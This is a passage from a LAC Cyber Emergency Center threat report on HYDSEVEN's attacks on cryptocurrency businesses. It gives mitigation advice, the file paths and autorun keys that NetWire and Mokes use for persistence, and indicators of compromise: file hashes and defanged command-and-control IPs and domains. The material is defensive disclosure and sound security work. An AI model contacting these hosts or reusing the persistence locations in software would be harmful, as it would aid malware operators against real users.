introduce another interesting point. HYDSEVEN, as we described in Chapter 3,
provides fake installers of legitimate software as one of their attack tactics. There
are many aspects of this strategy that are similar to the Lazarus as per mentioned byKaspersky Lab's report 38 in August 2018. The similarities are including thecryptocurrency theft, spear-phishing link attacks, tampering the installer anddisguised as a regular software, and some attempts on Mac OSX.
But if you see it carefully the malware used in the post-exploitation stages aredifferent. HYDSEVEN uses malware such as customized NetWire and Ekoms andthere is no such report exists so far to describe that alleged Lazarus group has everused such set of malware. It is quite possible also that the real adversary is trying touse a well-known TTP of other attacker groups, and in this case the possibility toimpersonate Lazarus is exist, although in the end they have to go to their own
specific and mastered ways to be successful in performing the post-exploitation
stage.

38https://securelist.com/operation-applejeus/87553/

45

Cyber Emergency Center Report
Special Edition

Detection or Mitigation

About Attackers Tactics
The adversary uses spear-phishing mail to exploit the VBA macros embedded in
Office document files, exploits of software vulnerabilities, and fake installers. As abasic security measure, we strongly advise “To not opening any attachments and
URLS in suspicious mail", "Do not enable macro carelessly", "Always update yoursystems such as OS, Office products, Web browser, etc". It is recommended to keep
in mind that "OS, Office products, Web browser, etc. has to always be up-to-date". In
addition, for the method of fake installer, check the presence or absence of the codesigning signature included in the application using Sigcheck tool 39 (Windows
environment) or “codesign” command (MacOS environment) etc. Do not run thesoftware that your entity hasn’t checked those before. And also always check if thehash value is correctly matched to the legitimate software and version. If the codesigning certificate is included, check if the certificate is signed by the related
software vendor or confirm its expiry dates. It is recommended to stop and re-checkagain before executing the file. And test them in the secure environment
beforehand..

About Post-Exploitation Malware
NetWire and Ekoms (Mokes) used in the final stages of these incidents, create andexecute files in the following file paths, please noted that it is depending on theactual OS environment, so if there are any suspicious executables in these
directories, it is recommended that you use a service such as VirusTotal 40 toinvestigate whether the suspected file’s hash value is a legitimate file. In addition,
entries for automatic malware execution are registered differently according to each
OS environments.

39

https://docs.microsoft.com/en-us/sysinternals/downloads/sigcheck40

https://www.virustotal.com/gui/home46

Cyber Emergency Center Report
Special Edition(1) NetWire
The case of the Windows environment• %APPDATA%/adobe/colorprofiler.exe• %APPDATA%/ati/ace.exe• %APPDATA%/AMD/OGLCache.exe• %APPDATA%/intel/icls.exe• %APPDATA%/Java/JavaBeem.exe• %APPDATA%/Java/javad.exe• %APPDATA%/Java/jschedu.exe• %APPDATA%/Macromedia/flashupd.exe• %APPDATA%/Sun/Java/Deployment/jvmgr.exe• %APPDATA%/Sun/Java/Deployment/jvsgr.exe• %APPDATA%/Sun/Java/Deployment/jvm.exe• %APPDATA%/vlc /MediaDecoder.exe• %APPDATA%Unity/Prefs.exe
Auto Run
Key：HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/Run
Value：above executable file path
Case of MacOS environment• $HOME/.defaults/Finder.app/Contents/MacOS/Finder
Auto Run$HOME/Library/LaunchAgents/com.mac.host.plist=$HOME/.defaults/Finder.app/C
ontents/MacOS/Finder(2) Ekoms（Mokes）
The case of the Windows environment• %APPDATA%/Skype/SkypeHelper.exe• %APPDATA%/Dropbox/bin/DropboxHelper.exe• %APPDATA%/Google/Chrome/nacl32.exe• %APPDATA%/Google/Chrome/nacl64.exe

47

Cyber Emergency Center Report
Special Edition• %APPDATA%/Mozilla/Firefox/mozillacache.exe• %APPDATA%/Adobe/Acrobat/AcroBroker.exe• %APPDATA%/Hewlett-Packard/hpqcore.exe• %APPDATA%/Hewlett-Packard/hpprint.exe• %APPDATA%/Hewlett-Packard/hpscan.exe
Auto Run
Key：HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/Run
Value：< above executable file path >The case of MacOS environment• $HOME/Library/App Store/storeuserd• $HOME/Library/App Store/storeaccountd• $HOME/Library/com.apple.spotlight/SpotlightHelper• $HOME/Library/com.apple.spotlight/Spotlightd• $HOME/Library/Dock/com.apple.dock.cache• $HOME/Library/Skype/SkypeHelper• $HOME/Library/Skype/soagent• $HOME/Library/Dropbox/DropboxCache• $HOME/Library/Dropbox/quicklookd• $HOME/Library/Google/Chrome/nacld• $HOME/Library/Google/Chrome/accountd• $HOME/Library/Firefox/Profiles/profiled• $HOME/Library/Firefox/Profiles/trustd
Auto Run$HOME/Library/LaunchAgents/<File Name>.plist = < above executable file path >48

Cyber Emergency Center Report
Special Edition

The case of Linux environment• $HOME/$DATA/.mozilla/firefox/profiled41• $HOME/$DATA/.dropbox/DropboxCache
Auto Run$HOME/.config/autostart/profiled.desktop$HOME/.config/autostart/DropboxCache.desktop

41$DATA is QStandardPaths::writableLocation(QStandardPaths::GenericDataLocation)

49

Cyber Emergency Center Report
Special Edition

Conclusion

As we have seen, the HYDSEVEN attempts to steal the cryptocurrency is
performed in a way that is so clever to avoid several security measures anddetection. Attack strategy, including the usage of VBA macros embedded in Office
document files, exploits of software vulnerabilities, and impersonation of legitimate
software installers, are also used to support infection of multi-platform malware.
HYDSEVEN incorporates variety techniques to compromise their targets and thisadversary is still active also today. We have created this report to help ourcommunity to examine future measures such as the discovery of attacks by thesame adversaries or its TTP copycats and to improve the prevention methods toreduce damage.
In recent years, with the rapid growth of the cryptocurrency market in Japan andoverseas, the cryptocurrency exchanges are in vast growing and mushroomed withthe wide-spread usage in cryptocurrency. For attackers, exchanges dealing withlarge numbers of cryptocurrency business are good targets to hit, and we believe
the cyber attacks aimed at cryptocurrency exchanges will increase more and more in
the future too. Under these circumstances, we would like to continue to investigate
the attacks by HYDSEVEN further and provide you more with recent information,with hoping it is useful for your security improvement.

50

Cyber Emergency Center Report
Special Edition

Indicator-of-Compromise（IOC）•

Hash（MD5）

NetWire0f83e147217c156b7ab66a26cf865827

12def981952667740eb06ee91168e643

2e4d861bdb438c9b3a3d6658d40d07b2

32f30ef97554b4e5993152252e57e86c

3d9a8ad7ae2bf9d4e4bd6381438d2b0c

58cf773d2eb957d48b931079b9c087dd

796e62cc921af203c2dae93159f93f70

80aa2d0c8c05a78487b85013c43c2143

8ffa073c1d4860ec5ac05b53998b421d

a19829fed00d46c91d81f203fe9cb6c5

a20bb703d44d5717feb76fb36f571aea

a2480c9d205e90432daf4586809f3755

a24aef033e061d358579250c6fed8e32

a26ef7c2b718f2b13240f6f9cf91c693

a2d60db7db42adc8c3ab87b3dd244777

a3ce918d207e725f89683cc2c768b454

a3e4801aa871f4e165bbd760333237b8

a4d1098a0c18c147e0b1bfa53cf6dd88

a4f27cd95be3ae069b285648c568f5ea

a502134c8f4b1d9a055375d79acfa9a9

a5462407c447351788ef9ac5bae52c9d

a549d7ca2deb4aa7f7ce46efa1295e76

a5838df9164d968b40fc5e2140c5ac99

a59252c2d3143dca47fb7e14d1b13d33

a63de560893500588a313e502be3efd2

a650ccb18450dff911365aa830d1ecb9

a6f3379cdf41f1cdf11ee071e3e40854

a6f8ae86cf8725e16193e0fab0483c2c

a8d7582d9f7e9c2c8631351837817f2d

a8ebaefd17089cce9efb8749926dca6d

a99a4d2a2cbc10f07d2bbcf0c1c91d0c

a9a32cd4275138e6ff9e3b1912b1163b

aa6cc819f92f26782194369096c02837

aad72111d8d41e2edc0ab4e96613aa70

aadb3437d9c0ede00b9a0672b7bfd0e1

ab28a1d4fbe377f4b08c40bbd96e7a51

ab29919492a0cddabfe2d75c4d42d00d

ab373d32f290e6928446f7f94e616c38

abd9e42eb48a10ac1990fdfb03bd09a8

acd18d845812ac288016c9610d1c9c39

acf159e78dce7c5095640030a5a0d6d2

ad836caa03a5f1df34d9131922ffa495

ad9fa32f08638897fe126db894aa8260

afab14af38d50262b13a95e10cd7bba8

afdc898cf874b74e68280185867250f9

b04e7cba062e23c9bbcc3b8ba38ab4da

b157c08db89d194eaa73c0723cf42b36

b1ebf98704fe7549be440692e48b0a72

b4376a7ef36f1357109e6b6362a71152

b5c67058209e85fbc1f048e42ded9a48

b76ae18bb4d86add42b3a9af7b880a39

b78c6850cc40b385e839498abc17fc98

b7a12cc9e44a55814fe9b0cc6aa7fb1e

b7c546c7f72b78568ea99706d0343229

b8b776ebe5cf30c6dc1547ed35a79f42

b92c2bdb21b7eb6578bd4cb1ceb9eb64

51

Cyber Emergency Center Report
Special Editionba3a1e3d00e04073e90bfcc744264067

bae5d7736ff20f96528cde32c8c5e6cb

bb5f033b8717f42d5804b9c905fe9f50

bf38f2371d30bc6ab6382626a4eba298

c1aaf1f7652d483ae2d4712d05b5f0ad

c1e658bcda1b5ddaf7284fe5d219420d

cb75044f5941530d963df9a626c813ae

d1f8ba71e08c27e753272eb61d7dd3eb

de3a8b1e149312dac5b8584a33c3f3c6

f84d985b94e31c04b6823af150f0b96f

fcb719e28da41dd7443017eb1f456ff3

fe84cb5d1832333e5e77cb6efdf5bfb6

Ekoms（Mokes）
0943806cea1913227d2595dbcc2b94c0

4df998fe61fc43803aed470fe52dc14e

796dff8007f3163adfcb9fa7f5fded1c

8c0ba5e0351975e8fc0c49fdb6dba4ff

91099aa413722d22aa50f85794ee386e

ab235de113ee97926fb15eeaac555490

bbae132bf631a093af5567e3fb540eee
Fake Installer/Dropper/Downloade
006bdb19b6936329bffd4054e270dc6a0469be73633d45aea1665ddd31a1c694

16e55ba5c7870400cfa244ee211414d9

2abe3cc4bff46455a945d56c27e9fb45

5f5847160dbfe0d6604dc5b6dd64ffb9786925ad4a4f91a98dd09508471ebddf

8c1d6403f550a9ddb6640ade3f38a171

838e0e1bfdb8b26fa8bfca3d14b09b9f

9a9c3d7a44834f1d08ebdf3c9e5c3e62

a5cbda7bb3864626d6251f3a8cd09cb7

a86cf58cb8c3ed3ca3c89a2c0443d6d7

ba83abf043344d425cf39c612d0fb5c4

f08d3083c19320e2202128802b7ff306•

C2
103[.]234[.]220[.]230

119[.]81[.]131[.]251

130[.]255[.]185[.]77

137[.]59[.]22[.]42

146[.]185[.]170[.]48

149[.]202[.]69[.]6

158[.]69[.]24[.]141

162[.]248[.]227[.]9185[.]106[.]122[.]113

185[.]49[.]68[.]145

185[.]49[.]68[.]192

185[.]49[.]68[.]193

185[.]49[.]68[.]195

185[.]82[.]21[.]65

188[.]165[.]218[.]177

37[.]235[.]48[.]233

45[.]63[.]22[.]17

46[.]165[.]194[.]94

46[.]165[.]249[.]77

51[.]255[.]86[.]55

81[.]4[.]122[.]139

84[.]200[.]2[.]1252

Cyber Emergency Center Report
Special Edition

89[.]34[.]111[.]113

91[.]121[.]120[.]198

94[.]23[.]48[.]115

anongfs671234d[.]com

cameforcameand33212[.]com g890ios20[.]com
gloria18611[.]com

homegwjskjl111[.]info

jessiman901[.]com

jikenick12and67[.]com

kaplaromenmmxs[.]com

kleboneonn12[.]com

kurgen3211a[.]com

stata14lic[.]org

statalicensesrv[.]com

53

Cyber Emergency Center Report
Special Edition

00

LAC Co., Ltd.
Hirakawacho Mori Tower, 2-16-1, Hirakawacho, Chiyoda-ku, Tokyo, 102-0093
E-MAIL: sales@lac.co.jp
https://www.lac.co.jp/english/

54